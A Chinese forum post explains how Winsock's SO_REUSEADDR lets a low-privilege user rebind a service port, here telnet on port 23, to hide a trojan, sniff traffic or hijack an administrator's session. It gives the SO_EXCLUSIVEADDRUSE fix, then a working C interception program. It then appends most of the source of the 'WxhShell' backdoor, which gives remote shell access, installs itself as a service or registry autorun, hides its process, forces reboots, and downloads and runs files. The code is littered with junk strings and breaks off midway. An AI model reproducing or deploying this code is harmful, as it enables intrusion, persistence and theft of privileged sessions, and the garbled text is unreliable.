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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: &0i$Y\g  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); e07u@_'^  
,0c]/Sd*p  
  saddr.sin_family = AF_INET; pu5%$}dBE  
IhRdn1&  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); zf>*\pZE  
;;6$d{  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Lt ^*L% x  
Gt)ij?~  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 w'E(9gV  
w{ ;Sp?Os  
  这意味着什么?意味着可以进行如下的攻击: rp+]f\] h  
..zX  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Mh{244|o[  
_PcF/Gyk  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) HX)]@qL  
IXG@$O?y/  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 N0%q 66]1  
ZZL@UO>:  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  zf&:@P{  
sY4q$Fq  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 CF 3V)3}  
zU0SlRFu  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 H32o7]lT  
9c%CCZ  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 \t 5_V)P  
\E[6wB>uN%  
  #include e{9~m  
  #include \B^NdG5Y  
  #include M4D @G  
  #include    _a f $0!  
  DWORD WINAPI ClientThread(LPVOID lpParam);   cUr!U\X[  
  int main() na|sKE;{  
  { \KzH5?  
  WORD wVersionRequested; @v#,SF{  
  DWORD ret; g/_0WW]}  
  WSADATA wsaData; BeN]D  
  BOOL val; I\x9xJ4x  
  SOCKADDR_IN saddr; 684d&\(s  
  SOCKADDR_IN scaddr; >JAWcT)d  
  int err; [:(/cKo  
  SOCKET s; ALV(fv$cD  
  SOCKET sc; ,i1BoG  
  int caddsize; &=MVX>[  
  HANDLE mt; N:+)6a  
  DWORD tid;   @%G?Nht]o  
  wVersionRequested = MAKEWORD( 2, 2 ); H>W8F2VT  
  err = WSAStartup( wVersionRequested, &wsaData ); fERO(o  
  if ( err != 0 ) { Xhq6l3M  
  printf("error!WSAStartup failed!\n"); M9""(`U  
  return -1; T9XUNR{&  
  } .xuzu#-  
  saddr.sin_family = AF_INET; jRd$Vt  
   #lg R"%  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 $wi4cHh  
-cijLlz%+  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); iEZ+Znon  
  saddr.sin_port = htons(23); m[KmXPFht1  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) JXMH7  
  { lx=tOfj8  
  printf("error!socket failed!\n"); ]%y>l j?Y  
  return -1; 46pR!k  
  } 7~F~'V  
  val = TRUE; xQ7U$QF|]  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 "l9aBBiu  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 1. +6x4%rV  
  { BjagG/ sX  
  printf("error!setsockopt failed!\n"); co3\1[q"b  
  return -1; ;-XfbqZ\  
  } vzFp Xdt  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; \1LfDlQk)  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 o<%0|n_O&  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 3 z(4axH'  
"TJ*mN.i{}  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) mLpM8~L  
  { 92t.@!m`  
  ret=GetLastError(); -fl6M-CYX  
  printf("error!bind failed!\n"); ,oh;(|=  
  return -1; {?5iK1|}K  
  } vsZ?cd  
  listen(s,2); }{VOyPG  
  while(1) Z.u 1Dz  
  { jS~Pdz  
  caddsize = sizeof(scaddr); -F[@)$L  
  //接受连接请求 QF\nf_X  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Ei):\,Nv  
  if(sc!=INVALID_SOCKET) FOk;=+  
  { @aZTx/  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); P!E2.K,  
  if(mt==NULL) /1v9U|j  
  { KMz!4N  
  printf("Thread Creat Failed!\n"); )S(Ly.  
  break; XC)9aC@s  
  } e1LIk1`p  
  } i/%l B  
  CloseHandle(mt); *=2W:,$  
  } ~bx ev/$d  
  closesocket(s); 4|E^ #C  
  WSACleanup(); giX[2`^NG  
  return 0; (Jw_2pHxr"  
  }   3,Yr%`/5'  
  DWORD WINAPI ClientThread(LPVOID lpParam) n\l?+)S *  
  { Bskp&NV':  
  SOCKET ss = (SOCKET)lpParam; ,`Y$}"M4  
  SOCKET sc; >*8V]{f9  
  unsigned char buf[4096]; SXZ9+<\  
  SOCKADDR_IN saddr; m]!hP^^  
  long num; )/%5f{+}  
  DWORD val; P+}~6}wJE  
  DWORD ret; ft6)n T/"&  
  //如果是隐藏端口应用的话,可以在此处加一些判断 8zD>t~N2C  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   !43 !JfD  
  saddr.sin_family = AF_INET; l^9gFp~I  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); NBY|U{.g  
  saddr.sin_port = htons(23); X<}}DZSu a  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Ly+UY.v"  
  { _E`+0;O  
  printf("error!socket failed!\n"); <3x%-m+p4  
  return -1; 32<D9_  
  } fk5'v   
  val = 100; <[cpaZT,  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) =+Fb\HvX{  
  { @m9pb+=v  
  ret = GetLastError(); q\?s<l63  
  return -1; > 0MP[  
  } Z|uvrFa  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3TF_$bd{  
  { { uaDpRt  
  ret = GetLastError(); GDL/5m#  
  return -1; () _RLA  
  } Oh*~+/u}q  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) %S^hqC  
  { 05 q760I+  
  printf("error!socket connect failed!\n"); BsIF3sS#9  
  closesocket(sc); j)mU`b_  
  closesocket(ss); A~bSB n: '  
  return -1; _|#abLh%  
  } B2ln8NF#Q  
  while(1) )}`z<)3jP  
  { 6iyl8uL0J  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 # dWz,e3   
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Lj<TzPzg*  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 P_1WJ  
  num = recv(ss,buf,4096,0); hpF_@n  
  if(num>0) FfJp::|ddr  
  send(sc,buf,num,0); Qh1pX}X  
  else if(num==0) FBNLszT{L  
  break; 9{jMO  
  num = recv(sc,buf,4096,0); +Y sGH~jX  
  if(num>0) AygdAg'\  
  send(ss,buf,num,0); Ayw_LCUD  
  else if(num==0) {5E8eQ  
  break; J[ Gpd  
  } SKL4U5D{  
  closesocket(ss); @|anu&Hm  
  closesocket(sc); Y,)(Q  
  return 0 ; ltNC ti{Q  
  } o+E~iC u5  
'^m.vS!/  
3\XNOJH  
========================================================== cmG27\cRO  
;{sZDjev>  
下边附上一个代码,,WXhSHELL d&FXndC4F  
BV~J*e  
========================================================== $vegU]-R  
sN[}B{+  
#include "stdafx.h" Ay?<~)H  
^Spu/55_  
#include <stdio.h>  pux IJ  
#include <string.h> avRtYL  
#include <windows.h> cAW}a  
#include <winsock2.h> Vke<; k-  
#include <winsvc.h> *(OG+OkC  
#include <urlmon.h> *#Cx-J  
oe|#!SM(  
#pragma comment (lib, "Ws2_32.lib") t{]Ew4Y4%O  
#pragma comment (lib, "urlmon.lib") k<<x}=  
VhUWws3E  
#define MAX_USER   100 // 最大客户端连接数 m^3x%ENZ  
#define BUF_SOCK   200 // sock buffer \)~d,M}kK  
#define KEY_BUFF   255 // 输入 buffer el9P@r0  
!<p,G`r  
#define REBOOT     0   // 重启 u5oM;#{@-  
#define SHUTDOWN   1   // 关机 |2j,  
= j1Jl^[  
#define DEF_PORT   5000 // 监听端口 >a?Bk4w  
e'3V4iU]  
#define REG_LEN     16   // 注册表键长度 ="voJgvw  
#define SVC_LEN     80   // NT服务名长度 Tz @=N]D  
J?8Mo=UZz  
// 从dll定义API BIWe Hx  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); v76Gwu$ d  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); W@T \i2r$z  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {cXr!N^K  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &>JP.//spi  
o P`l)`  
// wxhshell配置信息 GTP'js  
struct WSCFG { 6'Q{xJe?  
  int ws_port;         // 监听端口 <L-F3Buu  
  char ws_passstr[REG_LEN]; // 口令 EK';\}  
  int ws_autoins;       // 安装标记, 1=yes 0=no Nm?^cR5r  
  char ws_regname[REG_LEN]; // 注册表键名 dR S:S_  
  char ws_svcname[REG_LEN]; // 服务名 |4df)  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 xb,d,(^]R  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 QHR,p/p  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 d0:LJ'<Q  
int ws_downexe;       // 下载执行标记, 1=yes 0=no !O_G%+>5W  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" q?}C`5%D  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 DSU8jnrL  
vE:*{G;Y  
}; keAoJeG,J  
EQm{qc;  
// default Wxhshell configuration &:  Q'X  
struct WSCFG wscfg={DEF_PORT, a^R?w|zCX  
    "xuhuanlingzhe", cpdESc9W  
    1, W8d-4')|  
    "Wxhshell", _Si=Jp][  
    "Wxhshell", ?})A-$f ~  
            "WxhShell Service", i>Q!5  
    "Wrsky Windows CmdShell Service", Nz dN4+  
    "Please Input Your Password: ", :ppaq  
  1, I&1Lm)W&  
  "http://www.wrsky.com/wxhshell.exe", YYe G9yR  
  "Wxhshell.exe" P.]h`4  
    }; =^4Z]d  
.?:*0  
// 消息定义模块 N:lfKI  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {kpF etXt?  
char *msg_ws_prompt="\n\r? for help\n\r#>"; z?o8h N\  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; X8)k'h  
char *msg_ws_ext="\n\rExit."; 4IeCb?  
char *msg_ws_end="\n\rQuit."; l f>/  
char *msg_ws_boot="\n\rReboot..."; k =! Q  
char *msg_ws_poff="\n\rShutdown..."; {MgRi 7  
char *msg_ws_down="\n\rSave to "; b84l`J  
2%%\jlT_  
char *msg_ws_err="\n\rErr!"; =]7o+L4  
char *msg_ws_ok="\n\rOK!"; p!UR;xHI\  
ALMsF2H  
char ExeFile[MAX_PATH]; o2!738  
int nUser = 0; NM3;l}Y8  
HANDLE handles[MAX_USER]; nTy]sPn  
int OsIsNt; 42dv3bE"  
_**Nlp*%  
SERVICE_STATUS       serviceStatus; mwAN9<o  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; }S> 4.8  
[Hh-F#|R  
// 函数声明 b>-DX  
int Install(void); n~^SwOt~;5  
int Uninstall(void); pfN(Ae Pt  
int DownloadFile(char *sURL, SOCKET wsh); z< %P"   
int Boot(int flag); Nr4}x7  
void HideProc(void); #V>R#Oh}  
int GetOsVer(void); P 9?cp{*  
int Wxhshell(SOCKET wsl); y[_k/.1  
void TalkWithClient(void *cs); (]]hSkE  
int CmdShell(SOCKET sock); !xsfhLZK  
int StartFromService(void); *vb"mB  
int StartWxhshell(LPSTR lpCmdLine); vIV|y>;g  
,Z{\YAh1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8b/$Qp4d  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); $bTtD<a  
QEyL/#Q  
// 数据结构和表定义 c1f"z1Z  
SERVICE_TABLE_ENTRY DispatchTable[] = :33@y%>L  
{ @Xo*TJB  
{wscfg.ws_svcname, NTServiceMain}, PT/Nz+  
{NULL, NULL} I6.rN\%b  
}; UoT`/.  
}A3/(  
// 自我安装 =D1  
int Install(void) _p )NZ7yC  
{ &L8RLSfX  
  char svExeFile[MAX_PATH]; t13V>9to  
  HKEY key; Z[?n{vD7  
  strcpy(svExeFile,ExeFile); -XBZ1q  
!5ps,+o  
// 如果是win9x系统,修改注册表设为自启动 Os9SfL  
if(!OsIsNt) { s)-oCT$[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { TQ"XjbhU;X  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &n<YmW?"  
  RegCloseKey(key); 82LE9<4A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { noWF0+ %  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \|HtE(uCM1  
  RegCloseKey(key); EX]+e  
  return 0; a'VQegP(f\  
    } :kgh~mx5LF  
  } F6\{gQ<E  
} d( v"{N}  
else { Q|_F P:  
~]KdsT(=_  
// 如果是NT以上系统,安装为系统服务 digc7;8L  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); im>(^{{r&  
if (schSCManager!=0) qb"S   
{ gFaZ ._  
  SC_HANDLE schService = CreateService D$ds[if$U,  
  ( u BEw YQB  
  schSCManager, !^arWH[od  
  wscfg.ws_svcname, =$'>VPQ  
  wscfg.ws_svcdisp, #NM)  
  SERVICE_ALL_ACCESS, U)(R4Y6 v  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , jq~`rE h9  
  SERVICE_AUTO_START, w'@gzK  
  SERVICE_ERROR_NORMAL, Nv5^2^Sc=  
  svExeFile, 'cO8& |  
  NULL, p(F@lL-  
  NULL, b <W\#3~G  
  NULL, JQQyl:=  
  NULL, 3&-rOc  
  NULL u({^8: AYu  
  ); .<m]j;|6  
  if (schService!=0) Zl>SeTjB-  
  { ^6W}ZLp  
  CloseServiceHandle(schService); k~[jk5te  
  CloseServiceHandle(schSCManager); #49l\>1 z  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <9@n/  
  strcat(svExeFile,wscfg.ws_svcname); +#IUn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $LXa]  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); XCM!8x?K  
  RegCloseKey(key); Jm4uj &}3  
  return 0; Y '/6T]a  
    } \[G'cE  
  } I!/32* s1t  
  CloseServiceHandle(schSCManager); YmljHQP  
} O nXo0PV/(  
} o#m31* o  
)LP'4*  
return 1; D6ZHvY8R  
} MdBmq/[O  
VzG|Xtco [  
// 自我卸载 //8W">u  
int Uninstall(void) 7 A0?tG  
{ 0,hs %x>v  
  HKEY key; U%vTmdOY  
<'=!f6Wh  
if(!OsIsNt) { 971=OEyq*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \,;glY=M!  
  RegDeleteValue(key,wscfg.ws_regname); |V34;}\4  
  RegCloseKey(key); n.+*_c8k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @<W` w  
  RegDeleteValue(key,wscfg.ws_regname); Iy)1(upM  
  RegCloseKey(key); ,M.C]6YMr  
  return 0; ~ 5}t;  
  } pm O9mWq   
} Bl\:YYd  
} vQ< ~-E  
else { -ssb|r  
'o&d!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); S*l/ Sa@  
if (schSCManager!=0) lT[,w9$  
{ ;@; a eu  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^wy  
  if (schService!=0) $ #=d@Nw_  
  { JA^!i98{  
  if(DeleteService(schService)!=0) { R>c>wYt'f  
  CloseServiceHandle(schService); ^; KC E  
  CloseServiceHandle(schSCManager); 9B~&d(Bm  
  return 0; Gamn,c9  
  } <EC"E #p  
  CloseServiceHandle(schService); aImzK/  
  } >Tf}aI+  
  CloseServiceHandle(schSCManager); G 2`YZ\  
} 8~U ^G[!  
} ?0~g1"Y-*K  
5AT^puL]]  
return 1; bd /A0i?C  
} a8xvK;`  
i[z 2'tx4  
// 从指定url下载文件 6 lzjaW5h  
int DownloadFile(char *sURL, SOCKET wsh) JE O$v|X  
{ (aYu[ML  
  HRESULT hr; ?e9tnk3  
char seps[]= "/"; 21!X[) r  
char *token; ..yV=idI  
char *file; W'6DwV|  
char myURL[MAX_PATH]; !oyo_h  
char myFILE[MAX_PATH]; 0YoKSo  
v7(7WfqP  
strcpy(myURL,sURL); ;Tbo \Wp9  
  token=strtok(myURL,seps);  ]]p\1G  
  while(token!=NULL) *k(FbZ  
  { S$b)X"h  
    file=token; hp -|a  
  token=strtok(NULL,seps); jwwRejNV  
  } DVd8Ix<  
.]>Tj^1  
GetCurrentDirectory(MAX_PATH,myFILE); '6zZ`Ll9  
strcat(myFILE, "\\"); hT^&*}G  
strcat(myFILE, file); C2<TR PT  
  send(wsh,myFILE,strlen(myFILE),0); .qE  
send(wsh,"...",3,0); 7c_2.T@4  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); r2:{r`ocM  
  if(hr==S_OK) M[I=N  
return 0; bB4FjC':  
else ]fb@>1 jp  
return 1; pCkMm)2g!  
4$^mLD$>  
} U_VP\ 03  
F,vkk{Z>  
// 系统电源模块 @*rMMy 4  
int Boot(int flag) 0^*,E/}P&  
{ ;[o:VuTs  
  HANDLE hToken; K2*rqg  
  TOKEN_PRIVILEGES tkp; IWYQ67Yj   
k*_Gg  
  if(OsIsNt) { 'n h^;  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^m7y=CJM  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4lPO*:/  
    tkp.PrivilegeCount = 1; ln_&Ux+l  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <Ve0PhK  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /@ em E0  
if(flag==REBOOT) { W(s5mX,Kv  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 1*A^v  
  return 0; FW[|Zq;}  
} ~j{c9EDT|  
else { zsQ]U!*rD  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) L%H\|>k`  
  return 0; MO0t  
} ((Av3{05H&  
  } ta95]|z"j  
  else { 8i$|j~M a  
if(flag==REBOOT) { l!gX-U%-  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) (PE.v1T  
  return 0; ~AWn 1vFc  
} 1Z0Qkd(  
else { << =cZ.HP  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) hXFT(J=  
  return 0; S\ak(<X  
} ok6t| 7sq  
} Gt{%O>P8t  
{_tq6ja-<  
return 1; 0J?443A Y  
} @V>]95RX  
N?c~AEk9U  
// win9x进程隐藏模块 st??CX2  
void HideProc(void) NEIF1( :  
{ =zH)R0!eG  
F u5zj\0J  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); B _ J2Bf  
  if ( hKernel != NULL ) e 6wevK\  
  { @ddCVxd  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @D[+@N  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ` C d!  
    FreeLibrary(hKernel); ) YB'W_  
  } Q|[^dju  
q-^{2.ftcx  
return; MMO/vJC  
} WUau KRR.  
%>/&&(BE  
// 获取操作系统版本 xj D$i'V+  
int GetOsVer(void) K:e[#b8 :R  
{ S*n5d>;  
  OSVERSIONINFO winfo; 5(2 C  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Tcv/EST  
  GetVersionEx(&winfo); {li Q&AZ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) AaU!a  
  return 1; |L89yjhWBs  
  else i<$?rB!i<1  
  return 0; 3w>1R>7  
} C/ VHzV%q  
gcI<bY  
// 客户端句柄模块 6W:]'L4!  
int Wxhshell(SOCKET wsl)  Hxy=J  
{ tSni[,4Kq  
  SOCKET wsh; [c;0eFSi2  
  struct sockaddr_in client; 63'% +  
  DWORD myID; cjtcEW  
1Z?uT[kR  
  while(nUser<MAX_USER) oNYFbZw  
{ Vo[.^0  
  int nSize=sizeof(client); cSv;HN:  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); E3{kH 7_'\  
  if(wsh==INVALID_SOCKET) return 1; Vug[q=i  
'I}wN5`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); w('}QB`xad  
if(handles[nUser]==0) Za?BpV~  
  closesocket(wsh); >bI\pJ  
else pm9sI4S  
  nUser++; A.yIl`'UP#  
  } t(vyi  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); S.>fB7'(?=  
)l(DtU!E  
  return 0; %p7onwKq0  
} Ik, N/[  
9W-" mD;  
// 关闭 socket i"+TKo-  
void CloseIt(SOCKET wsh) ve"tbNL  
{ mQt0?c _  
closesocket(wsh); PB*G#2W  
nUser--; toU<InN  
ExitThread(0); EqBTN07dZS  
} YnU*MC}  
*T}c{/  
// 客户端请求句柄 6)ysiAH?  
void TalkWithClient(void *cs) Jw;G_dQ[  
{ eC<?g  
S&&Q U #  
  SOCKET wsh=(SOCKET)cs; kZ6:= l  
  char pwd[SVC_LEN]; iZ/iMDfC  
  char cmd[KEY_BUFF]; |}8SjZcQW  
char chr[1]; BbCW3!(  
int i,j;  jrS$!cEo  
sUQ Q/F6  
  while (nUser < MAX_USER) { ,* \s  
T tWzjt  
if(wscfg.ws_passstr) { o:*$G~. k  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V@y&n1?6  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (+xT5 2  
  //ZeroMemory(pwd,KEY_BUFF); `H9 +]TWj<  
      i=0; hW~UJ/$  
  while(i<SVC_LEN) { <e S+3,  
OXl0R{4  
  // 设置超时 MOytxl:R  
  fd_set FdRead; ^R :zma  
  struct timeval TimeOut; "E4CQL'U  
  FD_ZERO(&FdRead); T#:b  
  FD_SET(wsh,&FdRead); F.@|-wq&  
  TimeOut.tv_sec=8; p1.3)=T  
  TimeOut.tv_usec=0; X$~T*l0  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); p<mBC2!%  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {wk#n.c  
owyQFk  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lqO>Q1_{K  
  pwd=chr[0]; 1fM`n5?"  
  if(chr[0]==0xd || chr[0]==0xa) { eHIcfp@&  
  pwd=0; r}(mjC"o  
  break; e%)MIAS0  
  } 6#qt%t%?D  
  i++; 1A* "v  
    } b5.]}>]t  
R?#=^$7U  
  // 如果是非法用户,关闭 socket |+[Y_j  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $*:$-  
} w/PE)xA  
nWK7*  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Q.3:"dT  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X f;R'a,$  
k}qCkm27  
while(1) { sk:B; .z  
v>mK~0.$  
  ZeroMemory(cmd,KEY_BUFF); oxUBlye  
py%~Qz%  
      // 自动支持客户端 telnet标准   'R- g:X\{  
  j=0; UUvCi+W  
  while(j<KEY_BUFF) { bVa?yWb.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .kkhW8:  
  cmd[j]=chr[0]; 6]?W&r|0I  
  if(chr[0]==0xa || chr[0]==0xd) { KW ZEi?  
  cmd[j]=0; jS8B:>  
  break; [#G*GAa6*  
  } ^wwS`vPb  
  j++; @Jqo'\~&  
    } z yp3 +|  
iweT @P`  
  // 下载文件 XWNo)#_3  
  if(strstr(cmd,"http://")) { 2AMb-&po&f  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4#:Eq=(W  
  if(DownloadFile(cmd,wsh)) Jk7 Am-.0  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); MZWv#;.]  
  else 8^_e>q*W  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mH\2XG8nV  
  } 2}* 8( 32  
  else { xoGrXt9&  
] O~$|Wk  
    switch(cmd[0]) { [~G1Rz\h  
  vl+bc[ i~  
  // 帮助 L(k`1E  
  case '?': { =:6B`,~C  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); QoxQ"r9Wh  
    break; MR5[|kHJT  
  } 9:=:P>  
  // 安装 ]n"U])pJd  
  case 'i': { ( *K)D$y  
    if(Install()) b5KK0Jjk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); to1r 88X  
    else *WFd[cKE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L`w r~E2u  
    break; gNDMJ^`  
    } t. (6tL]  
  // 卸载 =8rNOi  
  case 'r': { {9Ok^O  
    if(Uninstall()) JBZ1DZAWC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f/\S:x-B  
    else 7[K3kUm[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BJ'pe[Xa5  
    break; Y%|dM/a`  
    } [7LdTY"Tl  
  // 显示 wxhshell 所在路径 D,lY_6=  
  case 'p': { 5Fj9.K~k  
    char svExeFile[MAX_PATH]; Dbq/t^  
    strcpy(svExeFile,"\n\r"); 2|WM?V&  
      strcat(svExeFile,ExeFile); $"MVr5q6  
        send(wsh,svExeFile,strlen(svExeFile),0); wf\7sz  
    break; p&)d]oV>  
    } ]|=`-)AP3  
  // 重启 c9c3o{(6Y  
  case 'b': { 7&%HE\  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #N~1Y e  
    if(Boot(REBOOT)) nG{o$v_|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dV}]\ 8N  
    else { B%k C>J  
    closesocket(wsh); 8|L@-F  
    ExitThread(0); /& c2y=/'C  
    } WiQVZ {  
    break; K@*4=0  
    } x ju*zmu  
  // 关机 gX(Xj@=(&  
  case 'd': { G]EI!-y  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); sX3qrRY  
    if(Boot(SHUTDOWN)) Qnt9x,1m_  
